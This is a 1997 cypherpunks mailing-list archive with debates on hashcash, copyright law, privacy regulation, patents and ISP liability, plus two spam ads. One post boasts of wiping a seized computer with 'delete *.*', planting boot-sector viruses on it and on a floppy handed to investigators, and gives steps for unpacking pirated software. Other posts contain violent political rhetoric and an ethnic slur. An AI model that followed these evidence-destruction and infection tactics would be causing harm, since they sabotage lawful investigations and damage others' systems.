3MGjYOCg+dTLYCJaq3LPcwEPxvxQAEWOWhrPNbtI9Ll4zw/n7eIhOV4635QuWwEI
IMuXA2LLGMX1AKrv3hCvjXcBlhUsKLkI8PbrHlMU8swIM5ukUqprKBOl5xm6bMJQ
DpRrLi2HC2GjTv6IQoMSaGytBnAKx5/89JxnIhwXh4Fdup46hxpdBkTnBjSvWwkF
6+ooxU7ErqUXrsVXmL06+2VM4oZbRlSY5tiRqsVgbvE67dVdcekbkNpaI8ut/4X8
TRKvvZffXy/NeX4+KlSU4QOB5A03GUNK/3nsLZKZCi6gZ4LWf+JAVE1tXaIAVgBZ
eJEoDfbof1cuW89z2gHvDk/wgsyQNcVDRLCLyHNO9F3FeupFn+e5bqArWOSAZIjX
nPit/cBaMXFnTnxbATN6w2O/oMEtYpUq2fvykQpxxEUMoaQA3K4yaweA+52lYgYr
AAmNe0Cwyqzuy+CjpQxLMZ7tBiAdA18VcDeGciLskExb0bMqKwrF0f0DNrOTcY4c
2I2a4kye9XKukMeNn4QSzKZM8dLRJOQszmsp9MCaWk1OZhAVEUDzQsVJlE78dSaT
VrKsFUn3hzQ+vxzoTNLpd9Daj1FSnH9qORDbRRVsaiNpQm1fAmjTVb9kYXrD0CE/
6TnrIde0rHNXkWb1O9GLtCaMoGFouZJ9XqtfSJq/pwFJHyluLH6qaxQDE2svoC8B
7ycRkxwJ7/Y4hisj8NagPNJvEQL+4Q7IbblFBdmvCMuEuml6oYmoHTn+jv/c0Wi3
XGKvu/0uYB6MxHSDnVIaZ0ShUysvRtS7uRIpn8o4GAbkgYd7jGmeDwSoDJqKT1dg
UjFXNeqH2m0vAW/wXzyBhQpZUDFnYnKGPD0=
=XkYb
-----END PGP MESSAGE-----




From whgiii at invweb.net  Thu Dec 18 13:28:46 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Fri, 19 Dec 1997 05:28:46 +0800
Subject: message dependent hashcash => no double spend database  (Re: hashcash spam prevention & firewalls)
In-Reply-To: 
Message-ID: <199712182121.QAA04394@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/17/97 
   at 05:26 PM, Steve Schear  said:

>>On 17 Dec 1997 02:21:48 -0600, in local.cypherpunks you wrote:
>>Yes, but if you just phase it in over time, what benefit, if any, will
>>users see until hashcash is fully deployed.  Until that time, people will
>>still have to accept email without hashcash or risk losing important
>>messages. 

>If I want to send an important message to you and I get a hashcash
>rejection reponse and I'm given a Web site where I can get a Java applet
>to create the hashcash, I'll do it.  We all know we must affix postage to
>our snailmail. Its time to embrace the postal system's paradigm and
>educate the reminder of the Net.  Those who risk missing an email or two
>will totally stop their SPAM. Those who won't, won't.

>>I don't see people adopting hashcash unless there is some intermediate
>>benefit to doing so.

>All we need is a small, influential, group to sing the praises of
>hashcash.  I'm sure Declan and Wired will pick up the banner if what we
>come up with works.  After that IETF activity is a far gone conclusion.

Well IMNSHO hashcahs mail sucks!! It opens up the pandora's box of usage
based charges for everything done on the 'net. What will be next? FTP
sites charging hashcash for DL's? WebPages charging hashcash per hit? DNS
servers charging per lookup? Routers charging per packet?

Note: In Adams proposal for hashcash only charges the user CPU cycles. The
incentive for wide implementation of hashcash is going to be a real ecash
based system where the implementors can make $$$ off it.

All this talk of "educating" the user is scary. After the newspeak
translation: "Lets condition the sheeple to accept a metered rate Internet
even though they don't want it".

Hashcash is an evil worse than a 1000 Spamfords. I will not support
Hashcash now or in the future and will do my best to stop its spread. As a
matter of fact I plan on writtin Declan on this personaly. I also plan to
form a coalition to block any adoption of hashcash within the IETF. Hmmmmm
sounds like a good BOF for LA :)

This crap will do nothing but place an unnecessary burdon on users while
doing *nothing* to stop SPAM.

I have *PAID IN FULL* for my Inet usage!! What bits I send over the Inet,
how many bits I send, and who I send them to is NO ONE's BUSINESS but my
own!!! -- Last Anarchist of the Inet.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJmTx49Co1n+aLhhAQLc6QP/YDyeSPwmqhKaLTyBiU236/2hlKCMRmaW
tRuPhIGE76aO4JQqRIxSvVeSJsH3qvm7VW6OPn93gHQqji0OOcAbniZyYJuLJFx/
EHeuj2+FiFjVaHZNu2HhPS5x22AmeMNb0a8OtZFZVHYCobHTYpYvxzJVWCll7sCu
mm3jGp16eZQ=
=XLxl
-----END PGP SIGNATURE-----






From swire.1 at osu.edu  Thu Dec 18 13:42:15 1997
From: swire.1 at osu.edu (Peter Swire)
Date: Fri, 19 Dec 1997 05:42:15 +0800
Subject: Draft book on European data privacy law
Message-ID: <199712182137.QAA08701@mail2.uts.ohio-state.edu>



Greetings:

        Although not specifically on crypto, we have a draft book on my web
site that might be of interest to readers of the list.  The book will be
published by the Brookings Institution in 1998, and is entitled "None of
Your Business: World Data Flows, Electronic Commerce, and the European
Privacy Directive."  The focus of the book is on the effect of the European
Data Protection Directive, which goes into effect in October 1998.

        The book is available from www.osu.edu/units/law/swire.htm.

        I've been around this list long enough to know how much many
contributors hate laws and regulations that govern how data is supposed to
flow from one place to another.  The European privacy laws are real and
quite stringent in many respects, so you may, despite your visceral
distaste, want to learn more about them.

        Of particular interest to people here may be Chapter Four: "The
Tension Between Data Protection and Modern Information Technologies."  I am
already aware of a couple of glitches in the draft, such as the definition
of an Intranet.  But I would be very interested in comments on this or other
chapters.

        To give a sense of the book's coverage, I am enclosing the draft
table of contents.

        Thanks for any comments you may have.  I'm doing a big rewrite
during the next several weeks.

        Peter Swire
==========================

	CHAPTER ONE:  INTRODUCTION

A.	"None of Your Business."
B.	Some Reasons for Data Protection Laws.
C.	Overview of the Book.

	CHAPTER TWO:  THE LEGAL CONTEXT
	[not included in this interim report]

A.	Comparing the European and American Approaches to Privacy.
B.	Provisions of the Directive.

	CHAPTER THREE:  PREPARING TO ASSESS THE TRANSBORDER
	EFFECTS OF THE DIRECTIVE

A.	Defining the Baselines: What are the Trans-border Effects of the Directive?
B.	Why What is Legal Under the Directive Matters.

	CHAPTER FOUR:  THE TENSION BETWEEN DATA PROTECTION
	AND MODERN INFORMATION TECHNOLOGIES

A.	Mainframes.
	1.	Transborder Data Flows.
	2.	Compliance by Mainframes.
	3.	Contracts and Codes of Conduct for Mainframes.
B.	Client/Server Systems, Intranets, and Extranets.
	1.	Client/Server Architecture.
	2.	Intranets.
	3.	Extranets.
C.	Internet: E-mail, Telecopies, and the Web.
	1.	Electronic Mail.
	2.	Telecopies.
	3.	The Web.
D.	Bringing Laptops or Personal Organizers Out of Europe.
E.	The Hardware and Software Industries and the Level of Electronic Commerce.
F.	Summary of Effects on Information Technologies.

	CHAPTER FIVE:  ISSUES AFFECTING A WIDE RANGE OF BUSINESSES
	AND OTHER ORGANIZATIONS

A.	Human Resources Records.
B.	Auditing and Accounting.
C.	Business Consulting.
D.	Call Centers and Other Worldwide Customer Service.
E.	Processing Permitted Under Article 7 but Not Article 26.
F.	Conclusion.

	CHAPTER SIX:  THE FINANCIAL SERVICES SECTOR

A.	Payments Systems.
B.	Sale of Financial Services to Individuals.
C.	Sale of Financial Services to Businesses.
	1.	Reinsurance.
	2.	Loan Participations.
D.	Investment Banking.
	1.	Market Analysis.
	2.	Hostile Takeovers.
	3.	Due Diligence.
	4.	Private Placements and Other Sales to Europeans.
	5.	Other Issues for European Companies Raising Money in the U.S.
E.	Mandatory Securities and Accounting Disclosures.
	1.	Legally Required Disclosures.
	2.	Disclosures Required by Accounting or Stock Exchange Rules.
	3.	Disclosures that are Not Strictly Required.
F.	Individual Credit Histories.
	1.	Providing Information to Credit Agencies or Sharing It Among Agencies.
	2.	Receiving Credit Reports.
G.	Corporate Credit Histories.

	CHAPTER SEVEN:  OTHER SECTORS WITH LARGE
	TRANSBORDER 	COMPONENTS

A.	The Press.
B.	Effects Generally on Non-Profit Organizations.
C.	International Educational Institutions.
D.	International Conferences.
E.	Effects on Non-European Governments.
F.	Research and Marketing for Pharmaceuticals and Medical Devices.
G.	Business and Leisure Travel.
	1.	Reservation Systems.
	2.	Frequent Flyer Miles and Other Affinity Programs.
H.	Internet Service Providers.
I.	Telephone Networks.
	1.	Calling Card Calls.
	2.	Enhanced Services, Including Caller ID.
	3.	Cellular Roaming.
	4.	The Proposed Telecommunications Directive.
J.	Retailing and Other Direct Marketing.
	1.	Traditional Direct Marketing--Catalogues and Customers Lists.
	2.	Direct Marketing and Electronic Commerce--Toward a "Market of One"?

	CHAPTER EIGHT:  CONCLUSION AND POLICY RECOMMENDATIONS

A.	Differing Information Cultures and the Dilemmas of Enforcement.
B.	Seeking to Resolve the Dilemmas: Some Policy Recommendations.
	1.	Sectors with Significant Privacy Legislation. 
	2.	Sectors with Functional Similarity.
	3.	Sectors Where Transfers Can and Should be Approved by Data Protection
Authorities. 
	4.  	Routine Transfers Where the Benefits Outweigh the Likely Privacy Harms. 
	5.	Clarification of the Article 26 Exceptions and Other Provisions. 
	6.	The Internet.
	7. 	The Political and Legal Process for Resolving Disputes.	
-------------------


Prof. Peter Swire
Ohio State University
College of Law
(614) 292-2547
mailto:swire.1 at osu.edu
http://www.osu.edu/units/law/swire.htm (revised site now includes draft
      book on European Privacy Directive and Internet Privacy Page)






From ualdv8 at sk.sympatico.ca  Thu Dec 18 13:47:45 1997
From: ualdv8 at sk.sympatico.ca (Six)
Date: Fri, 19 Dec 1997 05:47:45 +0800
Subject: Warez Transfer
Message-ID: <34997C25.39EE@sk.sympatico.ca>



Warez Transfer
--------------
To decrypt the 'wrzs9514.xxx.asc' files with PGP, use
the password 'warez'.
run 'wrzs9514.bat' to get 'wrzs9514.zip'
unzip
--------------

Tojohoto,
You were right...you *can* tell who they are by the way they knock.
They took your computer. (They just want to ask it a few questions.) :>

Norton Wipeinfo doesn't run in multitasking so I didn't take time to
reboot it. I ran 'delete *.*' in one MS-DOS window and ran a 'copy *.*'
command on a large directory in another MS-DOS window. By the time they
pulled the plug it had already ripped its own head off and shit down its
own neck.

I had already made sure your harddrive was badly defragmented so the
two commands should have made a good mess. I put a boot&fat sector virus
on your hard drive and gave them a bootable floppy disk that has another
virus on it.
(I told them that the floppy disk in your computer was mine so they gave
 it to me. Then the guy who gave it to me came back and said he needed
 to have it back. I gave him a disk and the lamer asked me if it was
 the same one. Duuhhh...) ;?

If anyone on the cypherpunks list liked you, they don't now...sorry.
I stayed up all night and sent you the file splitting program that
Bianca sent. I know she plays with stuff so I guessed it is probably
different than what you could get on the Net so I sent it to the
cypherpunks list because I don't know if they are going to come get
my computers, too.

Berzerkeley said you can get in touch if you need to. You must owe him
money, eh? Lost Taos said they don't know you and never have and to
come before you call.

There is something else but I forgot.
Have to go and do weird stuff to my computers and disks.

Bye
<---->
  8"

pp - "Don't get any on'ya!"

ppp - I messed up the .asc file order because 95 --> 3.1 multiple
disk transfer duplicates filenames. The decrypted files should
come out right though. I will check after I juryrig my computers.






From tcmay at got.net  Thu Dec 18 13:48:48 1997
From: tcmay at got.net (Tim May)
Date: Fri, 19 Dec 1997 05:48:48 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <3.0.1.32.19971217115156.00e83da0@dnai.com>
Message-ID: 



At 3:07 PM -0700 12/17/97, Brian the Obscure wrote:
>At 11:51 AM 12/17/97 -0800, Lizard wrote:
>>
>>At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
>>>At 12:37 -0500 12/17/97, Ray Arachelian wrote:
>>>>You have a CD player at home and use a walkwan when walking around, so you
>>>>tape your CD's so you can listen to them. Wham! Instant jail time.
>>>
>>>Yes, if you copy $1,000 worth of CDs within six months.
>>>
>>At rougly 15.00/CD, that is one CD every three days, more or less..not
>>utterly inconveivable, but a little difficult.
>
>Try this scenario:  I have 150+ audio cd's, many of which are rare, import,
>out of print, or even all of the above.  Since a fire could leave me
>missing many pieces of irreplaceable music, I had come up with a plan.  Get
>a cd-r burner, make backup copies of my audio discs, and store them in a
>safe deposit box.

All of this about jail time for copying CDs is nonsense, even under the new
law.

Some years back, circa 1989-91 or so, Congress passed a new tax on blank
tape and other such blank media...we've all been paying a little bit for
blank media as a result of this law. (The name of the law is no longer on
the tip of my tongue, but it was something about intellectual property
rights, or somesuch--the name may be the "Home Recording Act," it now
occurs to me.)

One of the key provisions was that home taping, or archival taping, or
taping for any _noncommercial_ use was now fully legal, with not even the
hint of illegality.

A friend of mine has over 4500 CDs he has borrowed from libraries, friends,
etc. and transferred to DAT tapes. (Until recently, DATs were cheaper per
hour of recording than CD-Rs....this has recently changed, and CD-Rs are
now as cheap or cheaper.)

Myself, I have about 200 CDs on DAT. All strictly legal under this Act.

It is possible that the new law just signed by Clinton will conflict with
the older explicit permission. I presume they'll return our blank tape
taxes, then, right? And I presume they'll have ways to know which tapes
were made when this taping was fully legal (explicitly), and which were
made after?

No on both of these accounts.

However, the new law is pernicious.

There is no way to establish the "value" of goods, except by sales price,
and this is problematic.

(I could declare this posting to have a "value" of $1000, and in fact offer
to sell it to non-Cyphepunks list members for $1000. It would be fully
legal and feasible for more to do this. Then, if someone made a "copy" of
it, as they might make a copy of Microsoft Office, they've broken the new
law. Of course, the Copyright Cops won't go after Joe Blow for "pirating"
my little article...they'll only go after their corporate donors.)

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From whgiii at invweb.net  Thu Dec 18 13:52:49 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Fri, 19 Dec 1997 05:52:49 +0800
Subject: UK spooks invent RSA, DH in 1973
In-Reply-To: 
Message-ID: <199712182128.QAA04459@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/17/97 
   at 07:11 PM, Steve Schear  said:

>At 7:14 PM -0200 12/18/1997, Vicente Silveira wrote:
>>Adam Shostack wrote:
>>> 
>>> Jim Burnes wrote:
>>> 
>>> | >      http://jya.com/ellisdoc.htm
>>> |
>>> | Can patents be revoked due to prior art arguments?
>>> 
>>>         I think its a really bad precedent to revoking patents based
>>> on the basis of secret documents released after the fact.  If you
>>> believe in patents, then having your work nullifiable by government
>>> claims is a bad idea.
>>> ...
>>
>>Maybe in the future this could be possible ... Let's say that
>>NSA does hashes of all their scientific papers and timestamp
>>them with some third party recognized company. This way NSA would
>>be able to prove that they had an original idea even if they claim
>>this only after someone else has reinvented it.

>I believe the GATT we signed prohibits so-called submarine patents which
>are  filed or issued significantly after their date of inception,
>frequently due to delaying tactics by the filer in the patent office.  If
>so, no gov't newly filed claims should affect the issued patents.

Fuck GATT!!

This is one of the reasons that I opposed GATT as it subverts the
Constitutional powers of Congress to International bodies that I had no
say in electing!! (even if I did I don't want some fuckup from the UN or
the EEO determining US law.)

Do not take this as an advocacy for submarine patents, as it is not.

Personally I hope that the patent issue will be a big enough of one to
piss Washington off enough to pull out of GATT!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJmVWY9Co1n+aLhhAQKd5AP9FmeejE29ispYj4q6jPrAQXxNKq4N9ity
cGl+kzekFk6lX24hE5JWrKlvgZDXvVj7OCf+FeBKKxN6ri3wk5kCX3DiG5jI48qG
q6j8f0jGxtXRMtogvr+b7imgefqKOZTPG0U/sCK1d8sAj1GInBm+tcOGGyxki/Fi
zWgcn2syY68=
=OWlS
-----END PGP SIGNATURE-----






From whgiii at invweb.net  Thu Dec 18 14:05:10 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Fri, 19 Dec 1997 06:05:10 +0800
Subject: 
In-Reply-To: <0sqwHe3w165w@bwalk.dm.com>
Message-ID: <199712182152.QAA04664@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <0sqwHe3w165w at bwalk.dm.com>, on 12/18/97 
   at 07:20 AM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>"William H. Geiger III"  writes:
>>
>> In , on 12/18/97
>>    at 05:36 AM, bureau42 Anonymous Remailer  said:
>>
>> >When is Klintonkov running again? Why not?! He doesn't pay any attention
>> >to the other amendments!
>>
>> Oh I am sure the rat bastard would like nothing more than to be another
>> Franklin "Dictator for Life" Roosevlet. He has already show that he is
>> just as much a socialist and has the same disrespect for the Constitution.

>Bill, while I intensely dislike FDR's politics, he was nowhere near the
>kind of crook and murderer that Slick Willy is.

>FDR tried to pack the Supreme Court - this ain't nice, but it's just
>politics. What did he do that could compare to peddling plots on the
>Arlington nat'l Cematary to political contributors (that later get dig up
>and reburied :-) or to Waco?

Dimitry,

While I despise the current thieving murders in power (ALL 3 Branches),
they look like ametures when compared to the criminals in power during the
FDR dictatorship.

FDR did much more damage to the Constitution than most realize: price
controls, TVA, rations, socialist policies to "fix" the depression,
Japanese and Italian internment camps, imprisonment of political
opponents, suppresion of the press, ... etc.

As far as a murder FDR is responsible for more American deaths than any
other President with the exception of the butcher Lincoln (all such
statist should die that way) not to mention the 1,000's of Jews he let die
because he didn't want any "filthy kikes" immigrating to the US. Oh let's
not forget the men and women at Perl Harbor and in the other Pacific
Islands that were offered up as sacrificial lambs so he could turn the
sheeple in favor of a war they otherwise would not have supported.

FDR was a statist pig no better than the other statist pigs that waged war
against the people of the world in the 30's and 40's.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJma6I9Co1n+aLhhAQLbJgQAjv9p264MuWv7GAcihVfHjbYxjKTcsHxd
R0PQcnovuth/5PfNdg0hJCNjoDCK4FXjnpVMD30ZNNJ2NUYBa0FEeDTeCvpI5AT5
9s/rHe5AasL8GM7bebTHJAQ6Uyj4lf9HOxfSTiAdffUzLObBxgrIs+7SZAunOdXm
aHDz/CMUtKw=
=al08
-----END PGP SIGNATURE-----






From declan at well.com  Thu Dec 18 14:25:24 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 19 Dec 1997 06:25:24 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: 




On Thu, 18 Dec 1997, Tim May wrote:
> >Try this scenario:  I have 150+ audio cd's, many of which are rare, import,
> >out of print, or even all of the above.  Since a fire could leave me
> >missing many pieces of irreplaceable music, I had come up with a plan.  Get
> >a cd-r burner, make backup copies of my audio discs, and store them in a
> >safe deposit box.
> 
> All of this about jail time for copying CDs is nonsense, even under the new
> law.

As a practical matter, you are correct. Just like it's unlikely a federal
prosecutor is going to try to imprison you for saying "fuck" online, it's
unlikely one will prosecute you for copying CDs at home.

However, it does not mean that the NET bill is good law.

> One of the key provisions was that home taping, or archival taping, or
> taping for any _noncommercial_ use was now fully legal, with not even the
> hint of illegality.

Instead of relying on your (admittedly) hazy recollections of the act, you
might want to look at it again. If you have a cite, I'll plug it into
Lexis.

It's clear from the plain text of the statute that the NET Act applies to
nonprofit infringing ("reproduction or distribution") of copyrighted
material. Archival purposes are perhaps not infringing. But dubbing 4,500
CDs from copies borrowed from libraries, as your friend did, probably is.

-Declan






From up at uplinkpro.com  Thu Dec 18 14:26:53 1997
From: up at uplinkpro.com (up at uplinkpro.com)
Date: Fri, 19 Dec 1997 06:26:53 +0800
Subject: Can't Find Your Web Site
Message-ID: <199712182222.RAA08218@athena.uplinkpro.com>



     Can't find your web site?
     Uplink will post your site to 50 search engines for $89. 
     We guarantee your satisfaction, or you pay nothing!

Millions of people every day use search engines to find web sites.
Uplink makes your site easier to find by posting it to the top 50 search engines.

Here's how it works:

1.  Fill out the form below, and return it to us.

2.  We'll post your site to the top 50 search engines within two business days and send 
you a full promotion report.

3.  Pay nothing now.  We'll send you a bill for $89 with the promotion report.  If you're 
not completely happy, simply write "cancel" on the bill, and you'll owe nothing.

THE SEARCH ENGINES

Here's the list of top search engines to which we'll post your site:

Alta Vista, Excite, Galaxy, HotBot, Infoseek, Lycos, Magellan, Open Text Web Index,
Web Crawler, BizWeb, New Riders WWW Yellow Pages, LinkMonster, True North, 
Northern Light, YelloWWWeb, The Weekly Bookmark, The Galactic Galaxy, TurnPike,
Unlock:The Information Exchange, Your WebScout, Manufacturers Information
Network, Net Happenings, Net Mall, Web World  Internet Directory, WebVenture
Hotlist, What's New, WhatUSeek, JumpLink, Linkcentre Directory, InfoSpace, Jayde
Online Directory, BC Internet, BizCardz Business Directory, Net-Announce, New Page
ListOne World Plaza, PageHost A-Z, PeekABoo, Project Cool, Scrub The Web, Seven
Wonders, Sserv, Starting Point, Web 100, Web Walker, Where2Go, World Wide Business
Yellow Pages, Wow! Web Wonders!, WWW Worm, JumpCity.

ORDER FORM

Hit the REPLY button on your e-mail program and fill out the following information.
 (This information will be posted to the search engines/indexes):

URL:  http://
Site Title: 
Description (250 characters): 

Key words (250 characters, in descending order of importance):

Your name: 
Company Name:
Address:
City:              State/Prov:     Zip/Postal Code: 
Telephone: 
Fax: 
Email address: 

Contact e-mail address (in case we have questions about this order): 

If  billing a different address, please complete the following:

Addressee: 
Company Name:
Address:
City:              State/Prov:     Zip/Postal Code: 
Telephone: 
Fax: 
Email address: 

TERMS

Terms are net 15 days from date of invoice.

______________________________________________________________________
Uplink, Inc.
39B Mill Plain Road
Danbury, CT 06811
Phone: (203) 791-7351
Fax:     (203) 790-6407
E-mail: up at uplinkpro.com






From 42793813 at hur.com  Fri Dec 19 06:27:49 1997
From: 42793813 at hur.com (42793813 at hur.com)
Date: Fri, 19 Dec 1997 06:27:49 -0800 (PST)
Subject: Home Business!   $350 a month overhead, Monthly Income of $3,000.00 +
Message-ID: <8241033266bur.543167.fpes>


If you want a scam or get rich quick scheme, then save us both time and DELETE  NOW!   Serious Inquiries ONLY, please.        CALL  NOW.......1-800-230-6423





From honig at otc.net  Thu Dec 18 14:28:55 1997
From: honig at otc.net (David Honig)
Date: Fri, 19 Dec 1997 06:28:55 +0800
Subject: Can I do Pubkic Domain that -
In-Reply-To: <3.0.5.32.19971218110440.007b6a90@otc.net>
Message-ID: <3.0.5.32.19971218135434.007b3e00@otc.net>



At 12:58 PM 12/18/97 -0700, Tim May wrote:
>At 12:04 PM -0700 12/18/97, David Honig wrote:
>>At 06:33 PM 12/17/97 -0800, Bruce Balden wrote:
>>>
>>>Those guys just never learn that not only is the barn door open, but that
>>>contents were never theirs to begin with.
>>>
>>
>>They blew their chance to regulate *computers* as military tech.
>>Computers, after all, were developed by the military for ballistic, bombs,
>>and codes.
>
>I can't follow your logic here. Several points:


I was alluding to the licensing of ordinary photocopiers and fax machines
(and computers, 
and now internet connections) in statist nations, to prevent their "misuse".  
In the 50's, the government should have 
(from the control point of view) used the hysteria of the times to regulate
*domestic* use of reprogrammable computers.  

As far as justification, bring up the baddies and the sheep cower: the
communist dope smoking child
pornographers with ties to Libya.  What's a little liberty for security? :-<


>* Nor is it clear that computers were developed "for" military uses. True,
>some earlier computers were used by the military, and the development bill
>was paid for by the military. But unless specific patents are involved,
>such early uses most definitely do not give the military control over later
>developments!
>
>(Nor do I think the military played the dominant role. I have long heard
>about how the space program caused the microprocessor to be invented.
>Nonsense. I was at Intel from 1974 to 1986, and have also read many
>histories of the 1960s developements, and can argue without fear of
>correction that neither military nor NASA spending had much if anything to
>do with the developments.)
>
>--Tim May
>


The develoment of computers can be traced along numerous threads.  One
thread (from say the 40's to 50's)
traces the encouragement of the codebreaking, ballistics, h-bomb fluid
dynamics, and missile
control community.  

By the 50's the computer was done, and improvements were just making better
implementations.

It is admittedly oversimplifying to follow only one thread (e.g., only
mathematical or engineering development),
but in the early days (way before intel) computers were built for the uses
I describe.




------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)

















From tcmay at got.net  Thu Dec 18 14:31:09 1997
From: tcmay at got.net (Tim May)
Date: Fri, 19 Dec 1997 06:31:09 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <3.0.3.32.19971217170754.03dc2f70@pop.mindspring.com>
Message-ID: 



At 1:47 PM -0700 12/18/97, Tim May wrote:


>(I could declare this posting to have a "value" of $1000, and in fact offer
>to sell it to non-Cyphepunks list members for $1000. It would be fully
>legal and feasible for more to do this. Then, if someone made a "copy" of
>it, as they might make a copy of Microsoft Office, they've broken the new
>law. Of course, the Copyright Cops won't go after Joe Blow for "pirating"
>my little article...they'll only go after their corporate donors.)

What I meant by this was that the Copyright Cops will only go after those
who illegally copy the items made by big corporations and other friends of
the enforcers. Netscape and Oracle are Friends of Bill, so they'll get
quick attention. Joe Blow will be put on hold.

Even though my article is given a value of $1000 by me (who else?), there
will be no interest whatsover in prosecuting someone for illegally copying
my article.

However, let the cops find some Zip drives or CD-Rs marked "Microsoft
Office" in the home office of someone like me when they finally get around
to raiding my home, and they'll look to see if each and every item has full
receipts (which I don't usually even keep anyway). And they'll look for
more than the _one_ allowed backup, or whatever the law finally says is
permissable...

"Al Capone jailed for violation of the Copyright Act...Ness says the
Copyright Act can be used to get criminals untouchable using ordinary laws."

"Anarchist's home in mountains raided...thousands of dollars worth of
illegally copied articles, files, and CDs found...prosecutors say "three
strikes" law could put anarchist separatist survalist spy May away for life
without the possibility of parole."

And now I need to go mount  that Leupold scope on my new Remington 700 .308
sniper rifle....just the thing to reach out and touch someone.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From comsec at nym.alias.net  Thu Dec 18 14:32:37 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Fri, 19 Dec 1997 06:32:37 +0800
Subject: UCENET II and Peter duh Silva
In-Reply-To: <668vgi$bpo@news1.panix.com>
Message-ID: <19971218222004.16727.qmail@nym.alias.net>




-----BEGIN PGP SIGNED MESSAGE-----

politas at dynamite.com.au (Politas) wrote:

> >Are you saying that Hotmail should be made a guarantor of the identity of
> >its accountholders, or merely that they could be required, under certain
> >circumstances, to divulge what information (if any) it possesses, regardless
> >of its accuracy?  AFAIK, the latter case is currently operative, since
> >Hotmail's records are presumably already subject to subpoena (in the USA,
> >at least -- I just realized you're posting from an Aussie domain).
>  
> The latter.  Additionally, if they cannot provide a reliable next link in
> the identity chain (like another validated email address or a time-stamped
> IP address used to register the account), they should be held responsible
> for the posts from that account.

Why should the operator of the delivery medium be held responsible for the
contents of a message?  Perhaps the laws are different "down under", but here
in the USA anyone can deposit coins in a public telephone and make a phone
call without identifying himself.  The person can't be identified, and
neither can you hold the telephone company responsible for any damages you
claim resulted from the call.

It's the same with the US Postal Service.  You can mail a letter from a public
mail box and as long as the proper postage is attached, it will be delivered
even if it doesn't have a return address, or if it contains a false return
address.  But if someone mails you a letter bomb, you can't sue the US
Postal Service.

So why institute draconian rules to restrict e-mail which are stricter than
those for other communications media?

I'll reiterate my opinion that such restrictive rules would cripple the
usefulness of many currently-available services.  I seriously doubt that
Hotmail would take on the expense of identifying each of its account holders
as well as assuming liability for any that it misidentified, in order to
provide a FREE service.  In fact, it would impact most ISPs.  As long as you
pay your monthly access fees on time, most ISPs take you at your word that
the name and address you supplied on your application are correct.

I would suggest that the recipient of a piece of e-mail should bear the
responsibility for authenticating its sender before sending someone money,
or taking other action that could potentially incur a financial loss.  
Transferring that duty to the ISP makes no sense.  For one thing, who would 
you hold responsible?  Your own ISP?  The one listed in the return address?  
Even if it's forged?  What if the ISP is located in another jurisdiction?
 
- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJmXHAbp0h8ZvosNAQFC1wf+N7lY2dXQNXt/Wl4MXPR+c2Intr4bG9Xw
N7qaKiHRqNszuD55yx5iXhKRgxtbnlBzMuUv3sr800M3kmrXqQJBzeDA/ljcASSU
Bi5kBHlpTcASm5H1jhRjRSk0BL+KCuTzmunCSExiB7tD2XNb/qGO+4bpcMdJ2A3z
nY7kmNjptt9vZJ3ZSz2l/n7IbplcUXWiRcHeJ4Nwp6ehjYzJX43d5snzhymJhLlK
6paX461Szcn5+3ILgv2JPfMxdG282mY1dSzxpScaHZ1pu0dh3702TlO37A9sfykc
